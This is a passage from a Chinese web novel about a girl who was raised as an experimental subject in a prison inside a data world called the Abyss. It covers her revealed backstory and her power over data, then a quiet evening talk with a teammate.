温知初的耳畔响着声音,她的身体后仰,往下坠落,不含任何意味而深黑的双眼望向了半空。 屈孚宁跪下望向温知初,只看了一眼,再没了声音。 那被子弹射穿的枪眼里,空无一物。 没有血、没有伤口,只有一片空白。 她的左手还握着枪,面无表情地抬起手,朝黑暗深处按下扳机。 “砰!” 庞然的巨物头颅应声炸开,糜烂的血肉炸得漫天都是。 [已为TRES队员撤退完毕。 ] 第98章 从额心穿透过去的空白揭示了温知初的身份。 温知初不是人。 起码不是普世意义上的人。 那么…她是谁? 其实温知初自己知道的也不算彻底。 她来到这个世上的第一个感知, 是从虚无中醒来。 对,是醒来,而不是出生。 先是一片漆黑, 而后她慢慢地醒来, 感知到周围的漆黑, 理所当然地感知到自己是个活物, 而后不带任何情感地扫视周围的一切, 有序地接受自己的、自己以外的一切信息。 她当时还是个大概六岁左右的孩子,记忆是一片虚无, 没有父亲, 没有母亲,不知道自己从何而来。 她身处的地方很潮湿、闭塞、黑暗, 外面是一排铁栏杆,铁栏杆旁边还有另外一间铁栏杆, 她当时一片空白的认知无法理解自己身处何处。 但现在回忆起来,其实就是在监狱里醒来了。 这就是为什么第四轮域会给她带来如此强烈的既视感既视感强到梦中的回忆会和域里的现实重叠。 <深渊>这样设计域,显然有着昭然的恶意,想无时无刻提醒温知初看看你的过去吧。 看看吧。 你不是干干净净的, 你无法干干净净地来,也无法干干净净的离去。 只不过域里的监狱是终焉教的基地,而她出身的监狱是真的监狱。 <深渊>的监狱。 联邦监狱。 她从前受限于<深渊>, 未能对队员们说出口的出身、背景, 其实是TRES的天然对立面。 真论起来,她和顾学朗、李奂壬、陈付讫这些敌方有着同样的背景… 他们都是联邦地狱的人。 换一句话来说。 她也曾是联邦监狱的狗。 仔细看, 她的一切都符合联邦监狱的要求,道德值极低,能力极强, 身份资历被掩盖得没有任何查证落脚的地方。 TRES之前调查了她那么久,也没查出什么来。 因为他们从未、也从来无法想象到,她是来自联邦监狱的。 是的。 她是从联邦监狱里脱离出来的人。 不,也许不能称之为人,更准确的说,她是联邦监狱里的一份实验品,<深渊>之所以那般针对她,也许是因为她曾经是深渊里最看好的一个实验品。 她不应该离开。 一切还得回到醒来的起点来说。 首先,她不是传统意义上的人,但也不是那种没有意识的NPC或是电子尸体,她有自我的感知,有类人的长相、组成结构、行为举止。 温知初也不知道自己算什么。 她觉得自己也许算是深渊中一段生造的数据,或者突然有了意识的NPC。 在深渊里,她其实算是人类的一种。 毕竟,像晏逾明、邱任望这样的、从外面世界被拖进的人,在他们深渊这些的原住民眼里,才不算是人类。 温知初自醒来后,她的所有童年、少年、这十几年里,她一直在训练。 在封闭的、不接触外界的监狱里,不停地杀戮、竞争、流血、受伤,成为幸存者。 她总能站到最后。 那些年最平静的场景,其实就是她站在血泊里,没有任何感情地望向高高的窗外。 与这样的环境下,又怎能感知到情感? 她杀过许多人,却不会对他们感到愧疚,也不会对杀戮产生什么快感。 她看着监狱的高窗,不会觉得窗外的日光有什么美好的,也不会觉得窗内的黑暗和潮湿理所当然。 疼痛这种感觉她一开始是有的,曾经有那么几年,她也会因为疼痛而踉跄,而生理性地颤抖,但渐渐地、渐渐地,这种感觉结了厚厚的痂,因为太厚,再去触摸疼痛的时候,已然没反应了。 生理性上还是很痛的,但再也不会因此而踉跄。 那时候,她的身上没有一块好皮,全都是长长短短的割痕、伤口。 需要用绷带一层层地包裹,从头到尾。 当时,如果有人在监狱里看到一个从头到脚都缠着绷带的人,那就是她。 她没办法终止缠绷带的原因是因为她无法停止受伤。 除了在训练、竞争中受伤,她还会在实验中受伤。 每隔一段时间,她会被喊走,会有人来研究她的身体数据,他们似乎好奇该怎么为<深渊>再造出一个杀戮武器。 温知初这样的存在惊艳到了深渊,它似乎也不知道该怎么重新创造一个她了。 如果抽象地去理解<深渊> ,它也可以算是一种活物,甚至是一个创世者,它利用天时地利创造了、很大权力上操控着深渊这个世界。 之所以说深渊的操控能力是很大而不是完全,是因为哪怕是创世者,也无法完全掌控祂所创造的世界。 道理很简单,因为被创造出来的这个世界它会逐渐地演变出自己的运行规律,它会活过来,它会有群体意识所赋予的世界意识,它不可能永远是深渊的掌中之物。 而且,它还会面临外来者。 一切都在改变。 温知初就是在这种种规律运行中,应运而生的一种存在。 她出现在联邦监狱,却不完全受控于<深渊>,她有自己的意识。 但有时候,有自我意识是一种不幸的事,尤其地点是在联邦监狱。 在联邦监狱里,除了电子尸体外,也有很多人,他们也是有自我意识的,让一个人去当武器、成为走狗,只要是个人,无论道德值高低,都会痛苦无比。 自我这种东西,被人为训练着消磨的时候,代表着极致地自毁。 联邦监狱里,有很多人死得非常惨,他们痛苦的呼叫声在不同的角落接连不断地响起。 扎穿自己的双眼、用刀子在胳膊上划出一道道口子、用头撞墙壁、吞咽下滚烫的铁…这似乎是那些人以此来对抗自我的办法。 惨死的人太多了,死后他们会变成电子尸体,除了被送去域参加比赛的时候,他们日复一日地循环着惨死的那一天。 他们的怨念滋养着<深渊> 。 痛苦将尸体腌入了味,以至于身体、骨头、灵魂都是长满燎泡的,所有的动弹都是疼痛无比。 这似乎就是他们。 这似乎就是她。 她和他们不同的地方,也许就是她已经在很早之前,就对疼痛不再做出任何反应了。 如果从旁观者的角度去看她的曾经,会发现窒息无比,一滩浑浊的泥潭里,没有一丝可以透气的间隙。 不过从温知初自己的角度来看,不仅仅当时觉得没什么,现在也觉得这也是一些平常的事情。 这就是她的日常,抛却深渊的限制,如果TRES再问她的过去,她会轻描淡写地说出这些往事。 隐忍、黑色、闭塞是她性格的底色,是组成现在的她的一部分。 这些事,都可以坦言。 那么为什么曾经无法对队员说出口的往事,现在却可以坦白了呢? 这个034号一直很好奇的事,其实解释起来并不难理解。 温知初的升级体系和其他人不同,和TRES的所有人都不同。 如其他人所见,在她还是E级的时候,她的能力就很强了,只不过那时候暂时没有什么事件能体现她的能力,大家还未能意识到其堪称恐怖的实力。 在深渊里,站在客观角度,没有人比温知初更强。 似乎无论多么艰险的环境、忍受着多么严重的疼痛,温知初都能做成想做的事。 在邱任望摇摇欲坠的时候、在屈孚宁被困在管道时、在她自己吞咽了一整罐精神药物后、在层层武装人员包围时、在丧尸群里、在清杀中… 让人莫名有种感觉,温知初什么都能完成,什么都能做到。 这一切不是凭空而来的。 在温知初刚刚从虚无中醒来的时候,刚开始的她其实也什么都不会,能力和实力是在一场场厮杀的幸存中锻炼而来的。 代价太过惨痛。 让邱任望自残的精神药物,她不止是在域里吃过一罐,在曾经,她每天都大剂量地服用着这类药物。 这是一种精神控制类药物, <深渊>以此想要控制怎么都无法消磨自我意识的她。 按道理说她应该会在疼痛中自残、自毁、拼命地抽搐、失去意识最后彻底死亡,成为一具电子尸体。 除了死亡之外的痛苦她都经历过,一开始还会有所反应,不过日复一日,后来,都习惯了。 这是她的日常。 晕眩是日常、幻觉是日常、隐忍是日常、因为药物而不停抽搐也是日常,忍受着这一切去竞争、战斗也是日常。 这些日常,训练出了现在的她,也渐渐地,催生出了她的另一种能力。 她独特的升级体系。 都说人生暗含着某种质量守恒定律,也许是因为这十几年,她日复一日地忍受着那些非常人能忍受、阴暗疼痛到极点的日常,才会被催生出这种非人的能力。 她逐渐能看到数据的流动。 <深渊>是一个数据世界,不同的事物、人物身上都会纠缠着不同的数据,在她眼前展开。 后来,她逐渐地能控制一些数据。 譬如说,当<深渊>的指令是她必须待在栅栏间的时候,受限而不能行动的她,能够推开门,走出这方闭塞的空间。 这个能力似乎没什么了不起的,她不是获得了什么超能力,不能飞、不能增强战斗能力、不能空间转物、不过是能将对抗<深渊>的意识罢了。 可这就足够恐怖了。 这是可以升级的。 D级的时候也许只是对抗<深渊>的某个小指令,那么A级呢,那么S级呢? 她是深渊中,唯一可以不受<深渊>控制的存在。 看着这些流动的数据,她没有告诉任何人。 包括<深渊>。 这个能力,绝对不能让<深渊>知道。 说实话,当时她觉得这个能力挺无聊的,她本身的存在是应运而生的,而后能力也是随着她的经历而应运而生的。 就像命运给一个倒霉到极点的人生,开了个口子。 可是她这个倒霉鬼,其实没有任何欲望。 没有什么非得去对抗<深渊>的理由,也没有什么非得去升级这个能力的需求。 没有离开联邦监狱的欲望。 她是一个没有情感的存在,更别提欲望了。 联邦监狱里的人提过外面的世界有多纸醉金迷,她也曾经因为域的比赛出去过。 外面的阳光和监狱里的黑暗,对她而言,其实没什么两样。 都是平平无奇的、如同白开水的日常。 她生来就隶属于联邦监狱,就这么待着,继续日复一日。 依旧没让任何人发现她的能力,包括无所不知的深渊也不知道,因为这种能力让她能屏蔽<深渊>无时无刻对她思绪的监控,她能选择性地掩盖过去。 这也是为什么034号无法读取她脑海中全部信息。 在这种能力上,她和034号、甚至和<深渊>都是同类,都能对数据进行读取和删除。 在这个数据组成的世界里,有这个能力似乎有种成为救世主的潜力,但温知初显然对这件事也没有任何兴趣。 她的能力却伴随着她的一场场历练不断升级着,她逐渐能做到更多的事,虽然这种能力不是万能的,不能屏蔽疼痛,不能让她拥有超能力。 但这种选择性的、受限很多的能力,让她看到的数据流动更清晰,也有了更多对抗<深渊>的能力。 譬如说,到A级的时候,其实<深渊>大部分的指令对她都无效了。 甚至可以短暂地屏蔽自身,让<深渊>无法察觉到她的存在、她这段数据。 其实可以不用再服药、不用再去当成耗材般杀戮、不用再被实验,甚至可以直接离开这个其他所有人都无法逃离的监狱… 可当时的她并没有这个打算。 这个世界对她而言,真的很无聊,疼痛很无聊、杀戮很无聊、监狱里的闭塞很无聊,外面世界的自由也很无聊。 云在青天水在瓶这句话用在这里也许不太合适。 可当时的她,就觉得自己是在天的云,在瓶的水,她在她本该在的位置,并不思变,也不觉得有什么需要改变的。 至于去对抗深渊这太麻烦,有什么必要? 与此同时,当时A级的她,能看到更多的数据。 她能清晰地看到自己的应运而生到底是应了什么运势。 她看到了《深渊》这本书的数据。 看起来比实验品更惨的事实是,她来到这个世界,似乎是因为《深渊》里需要一个能比男主强、能杀死男主的存在。 她好像是他人存在的一个附赠品。 一个两页纸的、没有太多描写的配角。 书,这个字,是对《深渊》的某种抽象理解,就像对<深渊>的理解一样。 抽象而具象后,一个是数据世界,一个是文字世界,两者相互依存,相互连结,共同组成了深渊这个词。 总有一天,《深渊》会抵达<深渊>。 3041年,便是这个转着点。 外面的人被拽入了<深渊>,电子末日来了。 而温知初A级的时候,已经是3046年了,那一年她十七岁,第一次知道晏逾明这个人。 其实一开始对这个人并没什么感觉,不过后来看他的数据,看他在书页中的描写、看他的人生,逐渐地便注意起来。 他们很像。 性格的底色像、成长的经历也像,他像是另一个她,她也是另一个他。 一个受限于《深渊》,一个受限于<深渊>。 他像一个提线木偶,她像一个没有感情的机器,他们的灵魂都长满了燎泡。 但他们又非常不一样。 温知初看过晏逾明的数据,他并不安于受限,他很想抽离这一切,在不断地做出改变。 当时了解到这一点的温知初,并不理解晏逾明为什么这么做。 她已经开始观察起这个和她相似又相反的人。 这是她平淡人生中最不无聊的事。 其实一开始有点儿像在观察另一个物种,像在观察虫子。 虫子已经被蓄在琥珀里了,为什么要逃离琥珀呢。 她认为他并没有这个能力。 可能是因为他的人生远远不如她惨淡而疼痛,他并没有应运而生出类似她的能力,没有这种能力,怎么可能逃脱《深渊》呢? 她看着这个人不停地落败,却没有放弃过。 但他其实是厉害的,淡漠中有种温知初无法理解的执着,哪怕毁坏自己的身体也想要脱离《深渊》。 一个高能力的人、性格冷漠的人,在《深渊》的牵制下,硬生生扳成一个圣父的模样,不断地去接受被冤枉、被构陷、被残害、还得继续去做一些有悖于他本身性格的事,接连不断地循环这些情节。 这何尝不是一种慢性自杀,一种消磨自我。 她的身体被关在监狱里,他的灵魂被关在躯壳里。 密不透风,等待着死亡的来临。 不过当时的晏逾明对于温知初而言,也就这么止步于有趣了,除了观察的意味之外,其实没什么特别的,并没有为她的生活带来更多的意义。 她还是日复一日地过着自己的日常,冷淡、无聊、疼痛、阴湿。 好像一辈子都会是这样的日子。 那么到底从何时起晏逾明成了一种特殊的存在,又是什么时候,她有了想要离开<深渊> 、想要改变的念头… 这一切和队员们好奇的过往不一样,是私人的情绪。 别人不问,温知初不会主动说。 TRES基地里,温知初睁开了双眼。 她醒来了。 锁骨上灰绳挂着的军牌,刻着数字的那一面映照着窗外的光,影影绰绰的。 第99章 对于其他人而言,突破S级意味着靠近<深渊>内战力的顶点。 而对于温知初而言,突破S级意味着不再受<深渊>的钳制,不再受任何监视,可以说出自己的过去的来路,以及对未来的计划。 第四轮域结束后, TRES的队员们相继在3047年的年初相继醒来, 进入域的时候是寒冬, 醒来的已然是早春。 他们从温知初的口中得知了更多有关深渊的真相。 颠覆性的。 原来她和晏逾明有着共存于《深渊》的关系… 这事除了原本就知道的晏逾明和邱任望之外,其他人都是第一次知道。 原来, 《深渊》的崩坏竟然和温知初有关—— 崩坏, 指的是剧情的崩坏,是晏逾明死后的重生, 是重新活过来的他不再受剧情的控制,有了自我行动的意志。 剧情的溃烂, 导致《深渊》潜逃到<深渊>的域里,在暗处利用剧情想办法解决他们;导致温知初加入了上一辈子并没有她这个存在的TRES,和队友一起进入域;导致他们在充满杀机里的域里无限靠近死亡…也无限靠近生机。 靠近离开<深渊>的出口。 《深渊》肯定很想知道自己的剧情为什么会崩坏。 它可是剧情的创造者、这个世界的创世者,它所控制的主角怎么会突然脱控,这个世界怎么会突然重返到从前…这一切都不合理。 它怀疑这一切和那个杀了主角的温知初有关,这也是为什么剧情和<深渊>会派034号寄生温知初。 《深渊》想知道的一切,是温知初不可能在稳握胜券之前会说出来的一切, 在<深渊>无时无刻的监视中, 她选择了缄默。 但现在不同了。 TRES找到了域里的出口缝隙, 而她也突破了S级。 现在就算深渊从她对队友所坦白的话语中突然醒悟出她的能力, 也来不及找出相应的办法来扼杀她这个曾藏在缄默中的能力。 说来可笑,这个脱离深渊控制的升级体系是在最痛苦的人生中诞生的,而所有的痛苦全都来自于深渊…从某种意义来说, 何尝不是深渊赋予了温知初这种能力… 这种控制数据的能力并不是万能的,有着很大的局限性,而且需要她不断地积攒这种能力,最后才能对深渊有所一击。 上一轮《深渊》的结尾,也就是在晏逾明被她杀死后,温知初看到了《深渊》剧情的数据间隙,利用那个间隙和自己的能力,让时间颠覆回<深渊>和《深渊》交汇的起点。 回到3041年,回到E级。 那么,为什么在S级的时候不直接利用能力做到更多的事呢——比如在上一轮《深渊》里直接进入TRES ,直接帮助晏逾明脱离剧情的控制,直接和他们一起进入域、找到出口? 因为…温知初是人,她不是神。 她的能力是有限的,这种脱离剧情的能力,她需要不断积攒,才能有此颠覆的一击,除此以外,她已然无法做到更多。 曾经的曾经,她要在联邦监狱里活着,就已经够吃劲了。 上一轮,她最多只能做到让剧情脱控,让《深渊》溃败。 这一轮,她才能专注于脱离<深渊>。 忍受了十一年非人的待遇,十七岁才觉醒这个能力,十七岁的结尾就突破S级了,这经历已然让人觉得望而生畏。 换做任何一个人来处于她的处境,也许早就死在监狱里、死在域里,或是死在上一轮《深渊》里。 这些是TRES队员的感想。 因为他们其实从温知初平静的口述里感受到了她是真的觉得自己能力太过有限,才会导致一切来得太晚…这太可怕了,为什么会有人对自己的要求苛刻成这样? 似乎在那些长久年月的训练中,温知初已经逐渐不把自己当成人类,而是一件武器。 知道这些, 034号这才明白为什么宿主为什么总看起来有那么多秘密,为什么在一些常识方面看起来那么生疏,会专门看低龄的卡通片来学习常人的思维。 其他人习惯性的一举一动,其实是在封闭性训练中的她很难理解的逻辑,无法理解的时候,模仿他人是最不会出错的办法。 TRES的队员们也这才明白为什么温知初为什么会如此能忍受疼痛,为什么会给人一种她什么事都能做到的感觉,有着和同龄人完全不同的稳重和镇定。 这些都是在磨灭人性的封闭训练中,日积月累打磨出的。 那样的日子,熬过来就是温知初,熬不过来就是烂在角落里发臭的尸体。 这样的温知初只有一个,是<深渊>无论如何都没办法再复制一个的温知初。 在知道真相后,TRES的大多数人都难以消化这些事实,温知初的过去和她的能力显然对于他们来说是好消息,没有比这更好的… 可是这些过去 邱任望忽而想,自己十七岁的时候在干什么,十七岁之前的那些年又在干什么。 好像大多数岁月都是快乐的,起码他不会天天训练,不会天天流血,不会天天被送去实验,不会拿绷带把自己的全身上下都裹满。 TRES的这几个人已经和温知初经历这么多,抛却队友的身份之外,也是同生共死的朋友,听到温知初口中轻描淡写的过去,很长时间都无法说出什么话。 越是轻描淡写,他们越是能想象到她曾经阴晦岁月中那些每分每秒如刀割的日子。 可是温知初本人不在意,他们有资格替她在意么?替她难受么? 答案是否定的。 · “时间真快,一晃三月都到了…” 别墅四楼的天台上站着教练、邱任望和章诎,他们已经在这儿聊了会儿,天台围墙的边缘站着一道高大修长的身影,晏逾明和他们并没有站在同一处地方,他的上半身靠在围栏边缘,眼神往下看。 他所站着的地方,正好能看到一楼的庭院。 院子里坐着温知初。 她整个下午都坐在这里,手上拿着一本书在看,身旁一盏灯斜斜地撒着柔黄色的光,现在太阳快落山了,她落在地面上的影子显得愈发慵懒。 从这么远的距离往下看,似乎只能看到她模糊的身影了,晏逾明却一直没有收回眼神,深邃的双眼中也不知道在想着些什么。 天际鸟在鸣。 老钱:“我记得去年大概这个时候,TRES决定参加SS赛,决定进入域。” 当时大多数人都是抱着必死的决心做下这个决定的,没想到时间一晃,第四轮域都结束了,这期间所有人都吃了不少苦,很多人都差点儿没能回来,不过幸好现在还活着。 邱任望的眼神也往下,远眺庭院玻璃房旁的那道身影,他左眼终于恢复好了。 他沉默了会儿,对教练开口:“没有小温,我走不出来。” 没有温知初,他就不可能仅仅是左眼被扎穿这么点儿伤了。 教练:“小温…” 老钱的声音里有怅惘。 章诎知道这怅惘中有什么意思,大概自从知道温知初的过往后,这种怅惘也若有若无地萦绕在他心头。 谁能想到,温知初会有着这种过去呢。 夕阳下的她,身影静谧、安静,被笼罩在余晖下,就好像一切不美好都与她无关。 可事实却恰恰相反。 <深渊>对于温知初的恶意太明显了。 他们现在都体悟了过来,第四轮域的监狱和实验品,何尝不是在影射温知初曾经的经历。 打断了骨头重新拼接,造出最完美的实验品。 至于实验品是死是活,是否能承接的住这样的痛苦,从来不在<深渊>的考虑中。 章诎:“终焉教这么做是为了利用末世创造出一个只属于他们的世界。” 一种邪教的狂热。 圣谕者对于终焉教的意义,就相当于温知初之对于<深渊>了。 一个最完美的实验品,一个深渊迫切想要再复制的实验品,一种象征意义上的造神。 一个杀戮工具。 一件损耗品。 邱任望深深地叹了口气:“我们能换个话题么…” 有关温知初的过去,他们私下已经聊了许多遍,心里这滋味啊…真的不想再聊下去了。 越聊越觉得委屈。 心中的委屈来自于共情。 温知初本人好像对她的经历没有什么情绪,温和而冷淡地接受一切可能发生的事,但邱任望感情丰沛,共情力强,他受不了这些。 温知初在他心里是很美好的存在,对于这样的人,邱任望总希望她身上只能发生美好的事,可事实太过残酷,让人不忍再深思下去。 这种美好和残酷的割裂感,让人觉得是一种不可调和的悲剧。 从前,他们这些队员,包括教练总觉得温知初的形象和朝阳联系比较深。 因为她年轻,又总能做成任何事,人们总会将之归类为朝气、跃然向上,当时他们觉得这样的人,性格底色其实很亮丽,就像是朝阳乍然出现后,浮现在空中、穿破林间的那一缕金光。 可现在再看,却觉得她的性格底色彻底沉了下去,被覆上了深深的忧郁色彩。 比起朝阳,好像夕阳更接近这种色彩,不再是初日的金光,而是傍晚天际要暗不暗、却终究会暗下去的深蓝。 邱任望朝身旁的章诎看:“你说,她真的不在意么?” 温知初说出那些事的时候那么的平静,越平静,邱任望越是难以接受。 章诎:“我觉得小温可能没有在意这种事的前提条件。” 没有感情、或者说情感太过于淡薄的时候,是没有对外界、内心的感知力的。 她只经历,不反刍。 但是痛苦会平等地对待每一个人,在人的一切特征上留下不可磨灭的烙印。 留在潜意识里,留在成长的人格里,留在冷淡而温和的行事里。 说实话,温知初在他们看来,充满了悲剧色彩赋予的故事性。 虽然是人,虽然能力也是有限的,但莫名给人一种神性。 尤其因为她什么都不在意,包括她自己,她也不在意。 邱任望顿了顿,转移话题:“说点儿开心的吧。” 其实他们这次走出第四轮域,是一件特别值得开心的事儿。 在第四轮域的结尾,他们看到了出口的缝隙,这意味着他们已经到达了剧情的边界,不需要再经历更多的剧情探索了。 剩下来的,他们只需要做一件事,那就是在下一轮域里推开出口的门,离开这里。 换句话说,第五轮域就是他们最后的一轮域了。 等待他们的,可能是最惨烈的厮杀。但活着就能离开,死了也不需再经历更多的磋磨。 离深渊的出口,只差一步。 他们甚至不需要再复盘第四轮域了,毕竟剧情已经走完,他们只需要等待第五轮域开启,去尽自己最大的努力就行了。 有目的地搏命,能看到终点地搏命,这给他们一种终于能脚踏实地的气口,不再像从前一样漫无目的。 想起这事,邱任望紧紧地握住了自己手中的冰啤酒罐,有种猛然打颤的感觉,肾上腺素静静地往上升。 第五轮域,要不了多久肯定会开启。 就差一步了,就差一步了… 就差一步,他们就能离开深渊了。 邱任望还想说些什么,他望向天台边缘处:“ Yu哥…” 那里本该站着一道高大修长的身影,现在再去看,人影已然不见了。 · 三月初的傍晚是冷的,夕阳缓缓地要沉入地平线,不远处的鸟还在叫。 院子里的光影变得很暧昧不清。 今天宝镜系列停播,温知初在院子里已经看了一下午的书。 身影和从廊檐照过来的光线一样懒懒的,淡淡的。 似乎没有任何事能改变她的状态,无论是域内发生的事,还是域外发生的事,只能从她的身边流经过去,不能留下什么明显的痕迹。 温知初始终是温知初,温和而冷淡。 周围的人思绪万千,她把书看到了最后几页。 身后传来脚步声。 高大修长的身影靠近,脚步声停住。 晏逾明坐在了她身侧。 晏逾明:“灯这么暗,看得清?”他问着这样的话,眼神却没落在灯上,而是落在她的侧脸。一如既往。 温知初抬眼:“还行。” 并排而坐。 从一开始的若即若离,到现在的熟稔中夹杂着莫名的情绪,他们似乎一起历经了很长的时间。 情感的变化从来不是一蹴而就的,但变化中潜移默化的深度,要远远比人们所能感受到的深太多。 那么…到底是什么样的情感在变化? 这个问题如果问温知初,这就太难了,她对人的情感的理解还太生疏,许多行为和感知出自本能。 但晏逾明不一样,他绝对知道。 两人之间隔着不到一臂的距离。 天越来越暗,光影从两人之间的缝隙穿过去,那缝隙似乎随着他们低声的交谈缩短了些。 晏逾明斜倚靠在长椅上,身体略微朝温知初的方向倾斜,看似无意。 目光只虚落在院子里片刻,又回到了温知初的身上。 晏逾明:“看的什么书?” 温知初把封皮给他看。 还是那本《钢铁终焉》。 其实第四轮域结束后,这本书对于他们来说就没用了,毕竟剧情已经走完了,《钢铁终焉》已经失去了任何启示的可能。 不过既然已经看到快收尾,温知初便继续读了下去。 终焉教之所以叫终焉教,是钢铁终焉的缩写,意思是“唯有钢铁的律条,能审判血肉的罪孽”。 书里教义强调,末世的到来是救赎,身沐罪孽的人们遇到了末世,代表着圣人终将拯救他们。 这大概就是域内终焉教的追求,追求一个彻底理想主义的、有着钢铁般律条的未来。 而要达到理想化的那一极点,仅仅靠社会化的自我发展是无论如何到达不了的,于是终焉教选择了丧尸病毒,选择了实验,选择用末世来彻底推翻当前的社会。 <深渊>何尝又不是这样呢。 利用极端的条件不断地将世界洗牌,直到世界达成祂完全能掌控的、规律不再客观运行着脱离控制的局面。 两人继续聊了会儿,椅下的影子越拉越长。 晏逾明:“屈孚宁让我跟你说声谢。” 屈孚宁这次在域里伤得比较重,还在养伤。 温知初侧脸看向他:“谢什么?” 晏逾明:“域里的事。” “不客气。”温知初淡淡地道,“应该是我要谢谢你们。” 她轻声道:“愿意接受我来自联邦监狱的过去。” 说实话这就是她无法理解人情感的原因,书上都说背叛、对立面这种既定事实是绝对无法被原谅的,哪怕出之有因… 可TRES好像很顺其自然地接受了这些事,而当初被她背叛过的晏逾明,似乎也早就不在意曾经的事。 为什么? 为什么和书上说的不同? 大部分人生都隔离外界的温知初,显然无法理解这些情绪。 晏逾明:“不能理解?” 他一看温知初的眼睛,就知道她没能理解TRES为什么这么自然地接受了她的背景,就像TRES的这些人永远无法理解温知初为什么能轻描淡写地说出那么残酷的过去。 温知初顿了顿:“算是。” “不能理解是正常的。”晏逾明看着她,“情感这种东西,书上是教不会的。” 温知初:“慢慢体会?” 晏逾明:“是,体会。总有能感知到的那一天。” 说来离奇,情感淡漠成这样的晏逾明,有一天也和其他人谈起情感这种事了。 不知道从什么时候开始,也只有在温知初身旁,晏逾明展露出从未出现过他身上的耐心。 从什 么时候开始的? 这种体贴温知初也许无法感知,可他本人难道不知道么? 想到这里,晏逾明定住,他看向地上的影子,他的身影好像总会倾向温知初的那一面。 到底从什么时候开始? 温知初的眼睛却看着天空,顺着他刚才的话继续往下说:“屈孚宁还说了什么?” 晏逾明愣了愣:“嗯?” 温知初望向他,以为晏逾明是没听清她说的话,又问了一遍:“屈孚宁不是有话对我说么,他还说了什么?” 屈孚宁说的大抵都是域里发生的事,尤其是被困在通风管道里的事。 不过晏逾明没有回应,他垂眼望向温知初,没说出任何话。 温知初的身后是渐变的天色,暗蓝色的天幕以及下面分层的柔黄的晕光,温知初看过来的专注眼神,也许是因为她的过去赋予了太多故事性,变得有了种忧郁的底调。 风吹着,温知初好像和背后的天色融在一起了。 他们说的对,温知初真的和傍晚的深蓝色很像,低沉的、稳定的、坚定的、温和而冷淡的、又带着些许不近人情的神性。 天色就这么沉沉地压了过来,晏逾明忽然有些无法说出话,他定在了温知初不经意间看过来的眼神里。 有那么一刻,风变得很大。 就好像温知初、以及她身后的天色要一齐包裹而来,沉沉的,深蓝色的。 他想起了屈孚宁的原话。 晏逾明:“他说,在管道里被困了那么长时间,感觉自己随时可能要死在那里了。” 闷热潮湿,骨头僵硬到要卡在里面,上又上不去,下又下不来,外面都是枪声,信号中断、头晕眼花。 所以当温知初出现的那一刹那。 他觉得… 晏逾明垂眼望着她:“看见了神明。” 温知初愣了愣,轻轻地笑了声:“夸张。” 第100章 确实是夸张了, 但也是屈孚宁当下的感受。 也不仅仅是屈孚宁一个人的感受… 屈孚宁受困时,温知初的出现所产生的意义,晏逾明也感受过。 何尝不是呢? 只不过是一个是把人拽出了封闭的管道, 一个是把人推入了深渊。 实际上,哪里是推入深渊,是将人推出深渊。 没有温知初的出现,就没有现在的晏逾明,她拽住了当时他摇摇欲坠的人生,颠覆了很多事,也改变了很多人的命运。 他欠她一条命。 温知初:“真的…夸张了。” 看着天际线慢慢暗下去,她有些懒洋洋地倚靠到椅背上,耳廓边缘有不明显的红,说话,却不看对着说话的人。 温知初:“我做这些事是因为我想做, 不是为了谁。” 晏逾明跟着她一起往后倚靠椅背,也望向她所看的那片天。 出月亮了。 · 天台上,邱任望往下看,原本庭院里只有一道身影, 现在变成了两个。 章诎也跟着往远处看:“谁?” 邱任望:“Yu哥和小温。” 不知道从什么时候开始,两人的关系好像逐渐变好了。 “没见Yu哥对人这么耐心过。”邱任望笑了声,“聊什么啊,聊这么长时间。” 天都黑了。 耐心这两个字就跟Yu哥没半点关系,虽然他崇拜晏逾明,但说实话,现实生活中的Yu淡漠到刻薄的程度,和他们这些队员待在一起这么多年,话一直很少。 有的时候都觉得, 他杀的人比说的话要多。 他就是这样的人。 邱任望这样话多的人,和Yu哥待在一起的时候,他说十句,Yu哥最多应一句,淡漠散漫到骨子里了。 可温知初话那么少。 现在往楼下院子里看,这情景,好像是Yu哥在带着温知初说话,有来有回的。 太有耐心了,甚至像是在赖着跟人多说几句话。 老钱也跟着笑:“说实话挺赏心悦目的。” 队里的两个王牌。 仔细看,会发现晏逾明的眼神一直落在温知初身上,偶尔顺着她的视线望向天际,又很快回到她的身上。 也不知道是不是月光太过柔和,老钱甚至觉得Yu在温知初身旁的时候,平日里冷漠和嘲讽居多的神情里竟然也有了温柔。 半揽在她身后椅背的胳膊,不经意间又掺杂了些被夜色遮盖的很好的占有欲。 树影婆娑,鸟叫声没停过。 老钱想到刚才竟然把温柔这两个字和Yu联系在一起,不自禁打了个抖,而后自顾自地嘲笑自己脑子要坏。 邱任望:“老钱,穿了夹克衫还能打寒战,这么不经冷啊?” 老钱给翻了个白眼。 队员间关系变好他们也开心,尤其这两人的关系还挺特别的。 章诎:“其实让我觉得意外的是小温。” 他一开始还以为温知初讨厌Yu来着,对其他人都能正常相处,对Yu则是退避三舍。 邱任望:“我当时也这么觉得。” “不…”邱任望道,“我现在也还是这么觉得…可能她当时就是讨厌Yu哥,现在一起经历了这么多域,关系才变好了吧…” 章诎眯了眯狐狸眼:“那照你这么说,小温上一轮《深渊》的时候,就没必要特意去找Yu ,还想办法让他脱离剧情的控制,自己一个人走自己的路就行了,何必去管其他人。” 都说温知初什么人不在意。 章诎却觉得不是这样。 至少晏逾明这个人,对于她来说,肯定有某种重要的意义。 邱任望挠了挠自己的卷毛:“是啊,没必要啊。” 或者从阴谋论的角度来想,可能当时温知初就是顺手那么一推一杀,顺手想办法颠覆了剧情,阴差阳错也就让Yu哥脱离了《深渊》的控制。 邱任望闷笑了几声,他自己也知道这逻辑讲不通。 温知初显然不是那种散漫的人,做任何事都是有所准备的。 他有些不解地趴在围栏玻璃上,所以…到底为什么要特意去找晏逾明啊? 他们两个人应该没什么特别的交集吧? 他和温知初相处了这么久,也没觉得温知初对晏逾明有什么特别的啊,甚至他还觉得自己和她更亲近些。 章诎:“别发呆了,走了,该训练了。” 邱任望:“谁发呆了,我这是在沉思。” 他站直身,左右看:“教练呢?” 章诎:“已经下楼去训练场馆了。” 邱任望嘴上没个正经:“千年老猫啊,步子够轻的。” 章诎仰头,把啤酒罐里最后一点酒喝完:“知道明天是什么日子吗,没忘吧?” 邱任望:“我怎么可能忘?东西我都买好了。” 他也喝完手中的啤酒:“走了,去训练了。” 别墅的大灯往下照,照得层层树影上罩出一层柔黄的光。 · 晚上九点,院子里已经没人了,训练的人去训练,休息的人去休息。 晚上很冷,别墅一楼的暖气一直没关,发出细微的声响。 夜晚的灯从别墅这里朝院落方向投射,照出树木斜斜的影子。 